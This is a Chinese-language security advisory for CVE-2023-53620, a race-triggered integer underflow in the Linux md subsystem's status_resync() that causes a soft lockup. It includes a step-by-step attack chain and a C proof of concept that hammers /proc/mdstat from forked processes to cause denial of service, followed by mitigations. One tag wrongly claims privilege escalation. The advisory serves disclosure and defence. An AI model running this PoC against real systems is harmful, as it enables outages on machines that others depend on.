IPBUF安全漏洞报告
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CVE-2023-53620 CVSS 5.5 中危

CVE-2023-53620 Linux内核md模块软死锁漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53620
漏洞类型
整数溢出导致软死锁
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 (md多重设备子系统)

相关标签

Linux内核md子系统软件RAID软死锁整数溢出竞态条件拒绝服务本地提权内核漏洞CVE-2023-53620

漏洞概述

CVE-2023-53620是Linux内核中md(Multiple Devices,多重设备)子系统的一个软死锁(soft lockup)漏洞。该漏洞位于md模块的status_resync()函数中。在Linux内核的RAID管理中,md模块负责管理软件RAID阵列,而status_resync()函数用于向用户展示RAID阵列的同步进度信息。

该漏洞的根本原因在于status_resync()函数在计算'curr_resync - recovery_active'时存在整数溢出风险。由于curr_resync和recovery_active这两个变量在md_do_sync()函数中被并发更新,status_resync()函数在读取它们时存在竞态条件。当发生整数溢出时,计算结果可能变成一个巨大的数值,导致status_resync()函数陷入一个长时间运行的循环中,不断打印大量的'='字符来绘制进度条。这种长时间的循环会导致CPU占用过高,触发内核的软死锁检测机制,从而使系统响应变得极其缓慢甚至无响应。

该漏洞的CVSS评分为5.5,属于中等严重等级。其攻击向量为本地攻击(AV:L),需要低权限(PR:L),无需用户交互(UI:N),对机密性和完整性无影响,但会导致高可用性影响(A:H)。该漏洞主要影响运行Linux内核的服务器和工作站系统,尤其是使用软件RAID阵列的环境。

技术细节

从技术层面分析,该漏洞涉及Linux内核md子系统的并发同步问题。

漏洞原理:
1. 在md_do_sync()函数执行RAID同步操作时,会持续更新两个关键变量:curr_resync(当前已同步的扇区数)和recovery_active(恢复操作的偏移量)。
2. status_resync()函数负责生成类似'[============>........] resync = 61.4%'这样的进度条信息,它通过计算'curr_resync - recovery_active'来确定已完成的同步进度。
3. 由于status_resync()和md_do_sync()之间缺少适当的同步机制(如锁或内存屏障),status_resync()可能在curr_resync和recovery_active不一致的状态下读取这两个值。
4. 当recovery_active的值大于curr_resync时(例如在恢复操作刚刚启动或状态切换的瞬间),'curr_resync - recovery_active'会下溢为类型所能表示的最大正数(整数环绕)。
5. 这个巨大的数值被用作循环计数器,导致status_resync()进入一个几乎无限循环,持续打印'='字符,最终触发软死锁。

利用方式:
该漏洞的利用需要本地访问权限。攻击者需要:
1. 拥有系统的低权限账户访问权限;
2. 能够访问或触发md设备的同步状态查询,例如通过读取/proc/mdstat文件或使用mdadm工具查看RAID状态;
3. 在特定的时序条件下(recovery_active被更新但curr_resync尚未更新时)触发status_resync()的执行。

虽然该漏洞不直接提供权限提升或代码执行能力,但它可以导致系统拒绝服务(DoS),使受影响的系统陷入软死锁状态。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获取目标系统的本地低权限账户访问权限,可以通过物理访问、SSH登录或其他方式获得。
STEP 2
步骤2:识别md设备状态
攻击者检查系统是否存在使用md(软件RAID)的设备,通过读取/proc/mdstat或使用mdadm工具查看当前是否有正在进行的同步或恢复操作。
STEP 3
步骤3:触发竞态条件
在md_do_sync()更新curr_resync和recovery_active的过程中,攻击者通过快速并发地调用status_resync()(例如反复读取/proc/mdstat),使得curr_resync - recovery_active发生整数下溢。
STEP 4
步骤4:触发软死锁
整数溢出导致status_resync()进入长时间运行的循环,持续打印进度条字符'=',触发内核软死锁检测机制,导致系统CPU占用率飙升,响应变得极其缓慢。
STEP 5
步骤5:拒绝服务
系统陷入软死锁状态后,正常的管理操作和其他进程的执行受到严重影响,导致拒绝服务(DoS)状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53620 PoC - Trigger soft lockup in md status_resync() * * This PoC demonstrates how to trigger the soft lockup vulnerability * in the Linux kernel's md subsystem by rapidly querying RAID sync status * while a resync operation is in progress. * * Requirements: Linux kernel with md module, root or sudo access to setup RAID */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> #include <signal.h> #include <sys/wait.h> #define LOOPS 1000000 int main(int argc, char *argv[]) { int fd; char buf[4096]; int i; pid_t pid; /* Step 1: Ensure md device exists and resync is active. * This typically requires root privileges to setup: * mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/loop0 /dev/loop1 * mdadm --grow /dev/md0 --level=5 --raid-devices=3 --add /dev/loop2 */ /* Step 2: Fork multiple processes to repeatedly read /proc/mdstat * This will trigger status_resync() concurrently with md_do_sync() */ for (i = 0; i < 4; i++) { pid = fork(); if (pid == 0) { /* Child process: rapidly query md status */ while (1) { fd = open("/proc/mdstat", O_RDONLY); if (fd >= 0) { while (read(fd, buf, sizeof(buf)) > 0) ; close(fd); } } exit(0); } } /* Parent process: wait for soft lockup to trigger */ printf("Triggering CVE-2023-53620 soft lockup...\n"); printf("Monitor system with: watch cat /proc/mdstat\n"); sleep(60); /* Cleanup */ kill(0, SIGTERM); return 0; }

影响范围

Linux kernel < 6.6 (修复提交: 23309704e90859af2662bedc44101e6d1d2ece7e)
Linux kernel stable 分支 (修复提交: 6efddf1e32e2a264694766ca485a4f5e04ee82a7)
Linux kernel stable 分支 (修复提交: b4acb6c3ede88d6b7d33742a09e63cfce5e7fb69)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以采取以下临时缓解措施:1) 监控/proc/mdstat的访问,发现异常频繁读取时进行告警;2) 限制非特权用户访问md相关设备文件和/proc/mdstat;3) 在系统层面配置适当的CPU看门狗和软死锁检测阈值;4) 避免在关键生产环境中使用软件RAID或考虑使用硬件RAID替代;5) 在执行RAID同步操作期间减少并发查询,避免触发竞态条件。

参考链接

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